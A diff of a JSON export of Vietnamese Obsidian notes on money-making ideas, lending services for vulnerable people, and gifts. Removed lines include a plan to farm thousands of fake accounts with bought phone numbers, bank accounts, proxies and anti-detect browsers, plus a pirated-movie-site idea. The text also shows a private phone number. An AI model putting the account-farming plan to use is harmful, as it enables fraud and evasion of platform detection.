tài xế:\n - Tài khoản cho người khuyết tật:\n - Thông tin cá nhân\n - Loại phương tiện phù hợp cho loại khuyết tật của mình\n - Đặt chuyến:\n - Xác định điểm đi, điểm đến\n - Thời gian chờ trước khi huỷ\n - Tài khoản cho tài xế:\n - Thông tin cá nhân\n - Loại phương tiện mình có\n - Nhận chuyến:\n - Điểm đi, điểm đến của khách\n - Xác nhận chuyến\n- Thông báo:\n - Với tài khoản người dùng:\n - Có tài xế nhận chở \n - Tài xế huỷ chuyến\n - Với tài khoản tài xế:\n - Có người cần chở\n - Người dùng huỷ chuyến\n\n### Yêu cầu phi chức năng\nThời gian khởi động dưới 5s\n\n## Nhân sự \n- Lộc: viết chính\n- Nhật: hướng dẫn lập trình và kiểm tra code của Lộc, nhận yêu cầu và tư vấn giải pháp cho anh Lâm\n\n## Thời gian hoàn thành và giá\n Thời gian hoàn thành dự kiến (giả sử ngày làm 10 tiếng): \n - Cho toàn bộ dự án (top-down): 5 tuần\n - Cho từng chức năng (bottom-up): 1 tuần nếu chưa có sẵn kiến thức về chức năng đó, 2 ngày nếu đã có sẵn kiến thức\n \n Giá: 80k/h\n [[90% lượng code ban đầu tốn 90% thời gian lập trình. 10% lượng code còn lại tốn thêm 90% thời gian lập trình]]\n [[Điều nhà đầu tư quan tâm và điều muốn nhà đầu tư quan tâm]]\n [[Nếu bạn nghĩ rằng bạn có thể hoàn thành đúng kế hoạch, có thể bạn đang ngộ nhận]]\n \n## Nền tảng cần dùng\n### Cơ sở dữ liệu\n- Một graph database như Neo4j\n- Một hệ thống bản đồ:\n\n| Giải pháp gợi ý | Điểm mạnh | Giá |\n| --------------- | -------------------------------------------------------------- | ------------------------------------------ |\n| Google Map | Nhiều chức năng, dữ liệu phong phú và chính xác, cộng đồng lớn | Nếu dùng dưới $200/tháng thì được miễn phí |\n| Open Street Map | | Miễn phí |\n\n### Ngôn ngữ, framework\nNgôn ngữ TypeScript với runtime Deno là thích hợp nhất cho những app còn nhỏ. Nếu viết app mobile thì có thể dùng framework Capacitor để có thể viết một lần mà có cả app Android và iOS, nhưng như vậy thì có thể sẽ phải đổi runtime sang Node. \n\n### Máy chủ\nFirebase/Deno Deploy\n\n### Thiết bị\nNếu làm app cho iOS thì cần mở tài khoản Apple Development giá $99/năm\n\n## Thời hạn bảo hành phần mềm\nTuỳ vào loại vấn đề mà sẽ xem xét nó có phải là lỗi hay không. Nếu nó không phải là yêu cầu đã được thống nhất trước mà là tính năng mới thì tính phí theo giờ như bình thường.\n- Nếu lúc còn ít người dùng thì app không có vấn đề gì mà đến lúc người dùng tăng cao thì có vấn đề thì sẽ xét là một tính năng\n", + "Toàn bộ nội dung": "Khái niệm:: \r\ntiêu trước trả sau lãi 35%. Vay tiêu dùng 12 tháng lãi 45%\r\nCách tính lãi:\r\n$$\\frac{\\sum{\\text{số dư thực tế} ×\\text{số ngày duy trì số dư thực tế}×\\text{lãi suất}}}{365} $$\r\n[[Điểm tín dụng (CIC) là cách để các ngân hàng đánh giá khả năng trả nợ của mình]] \r\n![[Pasted image 20240619191052.png]]\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -7091,14 +7089,14 @@ "id": "6q" }, { - "Tiêu đề": "Tạo báo cáo tiếp thị quản lý được theo từng cấp", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Gia công giải pháp/Tạo báo cáo tiếp thị quản lý được theo từng cấp", + "Tiêu đề": "CEP", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Các dịch vụ cho vay/Vì người yếu thế/CEP", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết lập trình]]\nHình thức:: [[Gia công giải pháp]]\n\nBiết được vì sao [[Web dev, GA, Ads, SEO, MMO]], [[📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Nghề nghiệp/Marketing|Marketing]] không ai quan tâm không?\n\nDữ liệu tạo ra từ Google Analytics có vấn đề gì mà ko dùng đc?\n\ncấp dưới, cấp dưới nữa không xem được \ntỉ lệ hoa hồng, chi phí setup như thế nào, xem báo cáo đấy\nlượt xem rất cao nhưng tỉ lệ chuyển đổi rất thấp, nên gần như là đốt tiền\n\nchecking theo thương hiệu khác, theo chỉ số khách\n", + "Toàn bộ nội dung": "URL:: https://cep.org.vn\nNếu vay 20tr thì lãi 500k/tháng \nnếu khai thu nhâp 7tr, sinh hoạt phí 5tr thì đc vay tối đa 6tr trong 5 tháng\n\n| | Mục đích | Mức vay tối đa | Thời hạn tối đa | Dành cho người trong hay ngoài công đoàn? |\n| -------------------- | ------------------- | -------------- | --------------- | ----------------------------------------- |\n| Vay khẩn cấp | Bệnh tật, thiên tai | | | Cả hai |\n| Học nghề | | | | Trong |\n| Cải thiện nhà ở | | | | |\n| Hộ nghèo | | 50tr | 36 tháng | Ngoài |\n| Tăng thu nhập | | 50tr | 36 tháng | Ngoài |\n| Đầu tư hộ kinh doanh | | 100tr | 24 tháng | Ngoài |\n\n## Điều kiện\nLà thành viên công đoàn hoặc có xác nhận cư trú của địa phương.\n\nNếu không phải là thành viên công đoàn:\n- Phải là vay cho bản thân chứ không được vay cho người khác. \n- Nếu là vay kinh doanh thì cần có cửa hàng. Cửa hàng ở địa bàn nào thì vay ở đó. Lưu ý là chung cư thì không cho kinh doanh.\n- Nếu là vay hình thức khác thì cần phải đến thăm nhà mà không cần ai dắt lên. Nếu là bảo lãnh thì [[Chỉ có người thân được bảo lãnh, chứ bạn bè thì không]]\n## Liên hệ\n- Q4: 0989702610 chị An\n\n![2024 - Giới thiệu sản phẩm dịch vụ CEP dành cho Nhân dân lao động - YouTube](https://www.youtube.com/watch?v=6DSN40IRjYE)\n\n![Fetching Title#e2zg](https://www.youtube.com/watch?v=cSImIy8wKkc)\n\n![[Pasted image 20240620101103.png]]\n[[Cho mượn theo nhóm đảm bảo không bị quịt hơn]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -7107,110 +7105,111 @@ "id": "6r" }, { - "Tiêu đề": "Viết plugin tích hợp vào các chương trình kế toán", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Gia công giải pháp/Viết plugin tích hợp vào các chương trình kế toán", + "Tiêu đề": "Ngân hàng chính sách xã hội", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Các dịch vụ cho vay/Vì người yếu thế/Ngân hàng chính sách xã hội", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết lập trình]], [[Nắm được nhu cầu doanh nghiệp]]\nHình thức:: [[Gia công giải pháp]]\n\n![[Chương trình kế toán]]", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2024-08-27T06:39:00.000Z", "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "6s" }, { - "Tiêu đề": "Xây dựng hệ thống quản lý", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Gia công giải pháp/Xây dựng hệ thống quản lý", + "Tiêu đề": "Quỹ Tình Thân", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Các dịch vụ cho vay/Vì người yếu thế/Quỹ Tình Thân", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết lập trình]]\nHình thức:: [[Gia công giải pháp]]\n\nLấy role `dev for hire` trong cộng đồng Obsidian: [Discord](https://discord.com/channels/686053708261228577/840286264964022302/860627666100551721)", + "Toàn bộ nội dung": "URL:: https://www.facebook.com/profile.php?id=100077601589557\n\nĐiều kiện:: Có trưởng nhóm bảo lãnh \nĐiều kiện:: Đến nhà kiểm tra được\nĐiều kiện:: Người có HIV, hoặc người ở khu vực Q8, Q10, Bình Quới \n\n[Chuyện kể từ Tình thân](https://nguoidothi.net.vn/chuyen-ke-tu-tinh-than-44244.html)\n\n[[Cho mượn theo nhóm đảm bảo không bị quịt hơn]]\n```yaml\nLần 1: 2tr\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-16T04:52:00.000Z", - "Ngày cập nhật": "2024-08-30T07:06:00.000Z", + "Ngày tạo": "2024-07-17T14:41:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "6t" }, { - "Tiêu đề": "Buôn bán nhỏ", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư/Buôn bán nhỏ", + "Tiêu đề": "Bảo hiểm nhân thọ", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Quà tặng/Bảo hiểm nhân thọ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Vốn]]\r\nYêu cầu đầu vào:: [[Không tốn diện tích]]\r\n\r\nHình thức::\r\n\r\n![\\[P4Ds TALK #2\\] ThS. Trương Thị Thu Trang - “Tôi khởi sự kinh doanh” Những câu chuyện tạo tác động - YouTube](https://youtu.be/_hX2Sm5aOTk?si=gzGbUJi3-nIE5HZQ)", + "Mô tả bài đăng": "Quyền lợi: ung thư, bệnh hiểm nghèo, tai nạn, tử vong và tiết kiệm dài", + "Toàn bộ nội dung": "# Tặng hợp đồng bảo hiểm nhân thọ, miễn phí năm đầu\nLý do:: [[Chạy chỉ tiêu cho nhân viên các công ty]]\n\n5-7 ngày giao hợp đồng đến nhà \n\n\n\n---\n\nThông tin hợp đồng: [[Hợp đồng bảo hiểm được tặng.png|Ảnh màn hình tài khoản]], [PDF toàn bộ hợp đồng](https://github.com/QuaCau-TheSphere/BW-ton-tai-trong-the-gioi-tu-ban/blob/main/docs/assets/attachments/fwd.pdf)\n## Quyền lợi bảo hiểm\n### Quyền lợi bảo vệ\n- Ung thư giai đoạn sau: 212.000.000 ₫\n- Thương tật toàn bộ vĩnh viễn: 2.000.000.000 ₫\n- Hỗ trợ thu nhập trong trường hợp TTTBVV: 2.000.000.000 ₫\n- Tử vong: 2.000.000.000 ₫\n- Trợ cấp nằm viện hàng ngày: 300.000 ₫\n- Trợ cấp nằm viện hàng ngày tại Phòng chăm sóc đặc biệt: 1.500.000 ₫\n- Trợ cấp chi phí Phẫu thuật: 3.000.000 ₫\n- 33 bệnh hiểm nghèo giai đoạn đầu: 150.000.000 ₫\n- 47 bệnh hiểm nghèo: 300.000.000 ₫\n- 3 bệnh ung thư phổ biến theo giới tính: 150.000.000 ₫\n- Gãy xương: Từ 6.000.000 ₫ đến 90.000.000 ₫\n- Chấn thương cơ quan nội tạng: Từ 30.000.000 ₫ đến 60.000.000 ₫\n- Hôn mê: 300.000.000 ₫\n- Bỏng độ 2 và 3 hơn 20% diện tích da: Từ 75.000.000 ₫ đến 300.000.000 ₫\n- Thương tật vĩnh viễn: Từ 15.000.000 ₫ đến 300.000.000 ₫\n- Tử vong do Tai nạn: Từ 300.000.000 ₫ đến 900.000.000 ₫\n- Quyền lợi tăng thêm: Chi trả gấp đôi quyền lợi tử vong khi Người được bảo hiểm và vợ/chồng của Người được bảo hiểm tử vong do cùng 1 tai nạn\n### Quyền lợi đầu tư\n- Tài khoản bảo hiểm: 2.821.422 ₫\n- Tài khoản đầu tư thêm: 0 ₫\n- Tài khoản hợp đồng: 2.821.422 ₫\n- Thưởng duy trì hợp đồng định kỳ: 0 ₫\n- Thưởng duy trì hợp đồng đặc biệt: 0 ₫\n\n### Quyền lợi cộng thêm\n- Sống khỏe: 400.000.000 ₫\n- Thưởng khi tham gia Hợp đồng theo nhóm: 0 ₫\n\n## Thông tin công ty\nKênh bảo hiểm: \n![Ứng dụng công nghệ thông minh nâng cao trải nghiệm Khách hàng | FWD Việt Nam - YouTube](https://youtu.be/vRmmNxQ5hFg)\n\nNgân hàng phân phối:\n![FWD x Vietcombank - Vững tin sống đầy 2020 - YouTube](https://youtu.be/JtOSw8uegVI)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày tạo": "2024-08-14T05:10:00.000Z", + "Ngày cập nhật": "2024-08-28T07:36:00.000Z", "id": "6u" }, { - "Tiêu đề": "Bán bộ sưu tập từ điển chuyên ngành", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư/Bán phần mềm/Bán bộ sưu tập từ điển chuyên ngành", + "Tiêu đề": "Tặng đồ, thức ăn", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Quà tặng/Tặng đồ, thức ăn", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết lập trình]]\nHình thức:: [[Tự kinh doanh, đầu tư]]\n\n\nhttps://quảcầu.cc/tu-dien-chuyen-nganh?utm_source=Vault+B+Tồn+tại+trong+thế+giới+tư+bản+(Dự+án)&utm_medium=Vault&utm_campaign=Bài+nổi+bật%2CTài+nguyên+khác%2CLàm+việc+hiệu+quả%2Cdịch%2Csách&utm_content=📐+Dự+án%2FGiúp+nhau%2FTạo+sinh+kế%2C+thu+nhập%2C+dòng+tiền.md&utm_term=", + "Toàn bộ nội dung": "## Tặng thức ăn\n- [FoodShare](https://foodshare.id.vn/foods/tat-ca-thuc-pham)\n- [Foodshare Market – Siêu thị Thực phẩm chia sẻ](https://www.foodsharemarket.com/)\n## Tặng đồ \n- [BẠN CẦN - TÔI TẶNG (SAIGONGIVE) | Facebook](https://www.facebook.com/groups/362234617663903)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T09:39:00.000Z", + "Ngày tạo": "2024-08-14T14:27:00.000Z", + "Ngày cập nhật": "2024-09-06T05:00:00.000Z", "id": "6v" }, { - "Tiêu đề": "Bán bộ thẻ học GRE cho Anki", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư/Bán phần mềm/Bán bộ thẻ học GRE cho Anki", + "Tiêu đề": "Có xe máy", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Có xe máy", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết lập trình]]\nHình thức:: [[Tự kinh doanh, đầu tư]]\n\n[[13-08]] 28630 lượt tải, 3177 ngày, 9 lần tải/ngày\n\nhttps://quảcầu.cc/bo-the-hoc-tu-vung-tieng-anh-nang-cao?utm_source=Vault+B+Tồn+tại+trong+thế+giới+tư+bản+(Dự+án)&utm_medium=Vault&utm_campaign=Tài+nguyên+khác%2Cngôn+ngữ%2Cnét+nghĩa+ẩn%2CHọc+tiếng+Anh%2Ckhoa+học+nhận+thức&utm_content=📐+Dự+án%2FGiúp+nhau%2FTạo+sinh+kế%2C+thu+nhập%2C+dòng+tiền.md&utm_term=", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2024-08-07T07:52:00.000Z", "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "6w" }, { - "Tiêu đề": "Bán số lượng lớn tự động trên các nền tảng", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư/Bán số lượng lớn tự động trên các nền tảng", + "Tiêu đề": "Không tốn diện tích", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Không tốn diện tích", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết cách ẩn danh]]\r\nYêu cầu đầu vào:: [[Biết lập trình]]\r\nYêu cầu đầu vào:: [[Có nguồn nguyên liệu lớn với giá rẻ]]\r\nYêu cầu đầu vào:: [[Vốn]]\r\n\r\nHình thức:: [[Tự kinh doanh, đầu tư]]\r\n\r\nThực chất là nuôi tài khoản ảo số lượng lớn. Cần mua:\r\n- SĐT\r\n- Email\r\n- Tài khoản ngân hàng\r\n- Chăm tương tác\r\n\r\n# Bán hàng loạt trên Douyin: cần có người ở TQ đồng ý cho mã OTP gửi về sđt của mình\r\nCần có sđt TQ để nhận mã OTP\r\n→ Cần có người ở TQ đồng ý cho mã OTP gửi về sđt của mình\r\n\r\n# Bán hàng loạt trên Etsy: cần nguồn cung proxy, IP Mỹ, và kiến thức API\r\nBán hàng loạt trên Etsy thì cần:\r\n- [ ] Không bị quét IP\r\n\t- [ ] Nguồn cung cấp proxy, IP Mỹ\r\n- [ ] Kiến thức về API của Etsy\r\n\r\n1 email + 1 sdt + 1 profile + 1 proxy ⇒ reg gmail, twitter, discord, telegram, fb\r\nvấn đề đầu tiên là làm sao reg được email số lượng lớn \r\nthứ 2 là profile của các anti detected brownser chỉ cho sử dụng free 5 profile, quá ít\r\nvà thứ 3 là proxy ngoại, đặc biệt là proxy US IPv4 khá mắc 2.1$/proxy/ month\r\ne cần 5,000 acc\r\nv2ray theo những gì em hiểu, nó chỉ là lấy gói cước 3G vietnam rồi bật tắt để tạo 1 IP mới, nó có vẻ chỉ phù hợp vs việc reg acc, chứ ko tạo proxy để nuôi acc lâu dài\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày tạo": "2024-08-06T08:32:00.000Z", "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "6x" }, { - "Tiêu đề": "Cho vay lấy lãi", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư/Cho vay lấy lãi", + "Tiêu đề": "Biết cách ẩn danh", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Theo kiến thức, kỹ năng/Biết cách ẩn danh", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Vốn]]\r\nHình thức::\r\n```dataview\r\nLIST\r\nFROM \"📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư\" \r\nWHERE file.name != this.file.name\r\n```\r\n\r\n[[Cho mượn theo nhóm đảm bảo không bị quịt hơn]]\r\n[[Huy động nguồn tiền nhàn rỗi]]\r\n", + "Toàn bộ nội dung": "```dataview\r\nLIST\r\nFROM \"📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng\" \r\nWHERE contains(yêu-cầu-đầu-vào, [[]])\r\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -7219,46 +7218,46 @@ "id": "6y" }, { - "Tiêu đề": "Nhóm chuyên chạy chỉ tiêu cho nhân viên các công ty", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư/Nhóm chuyên chạy chỉ tiêu cho nhân viên các công ty", + "Tiêu đề": "Biết lập trình", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Theo kiến thức, kỹ năng/Biết lập trình", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Nắm được nhu cầu doanh nghiệp]]\r\nHình thức:: [[Việc làm thời vụ, theo dự án]]\r\n\r\n![[Chạy chỉ tiêu cho nhân viên các công ty]]", + "Toàn bộ nội dung": "```dataview\r\nLIST\r\nFROM \"📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng\" \r\nWHERE contains(yêu-cầu-đầu-vào, [[]])\r\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6z" }, { - "Tiêu đề": "Làm web phim lậu", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư/Tạo SaaS/Làm web phim lậu", + "Tiêu đề": "Có tên tuổi, uy tín, chứng nhận", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Theo kiến thức, kỹ năng/Có tên tuổi, uy tín, chứng nhận", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết lập trình]]\r\nYêu cầu đầu vào:: [[Biết cách ẩn danh]]\r\nYêu cầu đầu vào:: \r\n\r\nHình thức::", + "Toàn bộ nội dung": "```dataview\r\nLIST\r\nFROM \"📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng\" \r\nWHERE contains(yêu-cầu-đầu-vào, [[]])\r\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-06T08:52:00.000Z", - "Ngày cập nhật": "2024-08-27T07:10:00.000Z", + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "6-" }, { - "Tiêu đề": "Viết app quản lý chi tiêu cá nhân", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư/Tạo SaaS/Viết app quản lý chi tiêu cá nhân", + "Tiêu đề": "Hiểu về hệ thống", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Theo kiến thức, kỹ năng/Hiểu về hệ thống", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Biết lập trình]]\r\nHình thức::[[Tự kinh doanh, đầu tư]]\r\n\r\n![[Chương trình quản lý chi tiêu cá nhân]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -7267,14 +7266,14 @@ "id": "6_" }, { - "Tiêu đề": "Xem tử vi tự động", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng/Tự kinh doanh, đầu tư/Xem tử vi tự động", + "Tiêu đề": "Có nguồn nguyên liệu lớn với giá rẻ", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Theo nguyên liệu, nguồn thông tin/Có nguồn nguyên liệu lớn với giá rẻ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Hiểu về hệ thống]]\r\nHình thức:: [[Tự kinh doanh, đầu tư]]\r\n\r\n## Các phần mềm hiện tại chỉ giúp lập lá số, chứ không luận hạn được\r\nMối quan hệ giữa 10 năm, năm, tháng\r\n\r\n## Không có demo\r\nVì không thực sự nắm chắc kết quả của một tương tác cụ thể\r\n\r\n## Có hằng hà sa số các diễn đàn tử vi, nhưng không ai chỉ ra được một phần mềm để làm điều đó cả\r\nMà họ chỉ cãi nhau\r\n## Chưa tìm hiểu tiếng Anh vì không có khả năng kiểm tra trường phái nào phù hợp\r\n## Cần dùng đúng trường phái này vì nó trung đạo\r\n## Không lộ diện để giảm rủi ro\r\nCó quá nhiều người scam, 1 mét vuông là 1 ông thầy. Nên có 2 trường hợp:\r\n- Lấy giá cao để giảm xác suất bị tố\r\n- Lấy giá thấp \r\n\r\nChính quyền không thèm bắt\r\n\r\nluận không phải là đoán\r\n\r\nKhông scale up:\r\n- Đủ để làm một buổi chiều\r\n- Đảm bảo an toàn\r\n\r\nRanh giới giữa học thuật và ảo thuật rất mong manh\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", @@ -7283,751 +7282,752 @@ "id": "70" }, { - "Tiêu đề": "Ý tưởng kiếm tiền", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/Ý tưởng kiếm tiền", + "Tiêu đề": "Có nhiều tài khoản hoặc thẻ ngân hàng", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Theo nguyên liệu, nguồn thông tin/Có nhiều tài khoản hoặc thẻ ngân hàng", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Điểm giống và khác nhau giữa các ý tưởng kiếm tiền. Quang cảnh và sơ đồ giữa chúng.", - "Toàn bộ nội dung": "[[3 Ý tưởng]]\n## Mối quan hệ giữa các khái niệm\n\n```mermaid\nflowchart LR\n\t1[\"1 Yêu cầu đầu vào\"]\n\t2[\"2 Hình thức\"]\n\t3[\"3 Ý tưởng\"]\n\n3-->1\n3-->2\nstyle 3 fill:lightgreen\n```\n\n## Danh mục\n```dataview\nlist rows.file.link\nfrom \"📜Tài nguyên/Ý tưởng kiếm tiền\" \ngroup by split(file.folder, \"/\" )[3] \n```\n\n", + "Toàn bộ nội dung": "- Mượn thẻ\r\n- Ai chuyển cho mình thì chuyển vào shop, rồi Lộc trả lại", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-08-27T07:10:00.000Z", "id": "71" }, { - "Tiêu đề": "Hanoi Ad Hoc", - "URL": "https://obsidian.quảcầu.cc/Kiến trúc/Hanoi Ad Hoc", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Nắm được nhu cầu doanh nghiệp", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Theo nguyên liệu, nguồn thông tin/Nắm được nhu cầu doanh nghiệp", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "URL:: https://www.hanoiadhoc.com/\nFacebook::\n", + "Toàn bộ nội dung": "```dataview\r\nLIST\r\nFROM \"📜Tài nguyên/Ý tưởng kiếm tiền/3 Ý tưởng\" \r\nWHERE contains(yêu-cầu-đầu-vào, [[]])\r\n```\r\n\r\n[[Đặc trưng của các dự án B2B là phải giao thiệp]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-18T16:54:00.000Z", + "Ngày cập nhật": "2024-08-27T07:15:00.000Z", "id": "72" }, { - "Tiêu đề": "1 Làm quen với Obsidian", - "URL": "https://obsidian.quảcầu.cc/⚔️ Hướng dẫn Obsidian và Git/1 Làm quen với Obsidian/1 Làm quen với Obsidian", - "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", + "Tiêu đề": "Sắp xếp theo lịch được cho trước", + "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Ý tưởng kiếm tiền/1 Yêu cầu đầu vào/Theo thời gian/Sắp xếp theo lịch được cho trước", + "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Mã dự án": "C1" + "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Các cấp độ:\r\n```dataview\r\nlist from \"⚔️ Lớp học/1 Làm quen với Obsidian\" \r\nWhere file.name!=this.file.name and file.folder=this.file.folder\r\n```\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n\r\nNguồn:: \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày 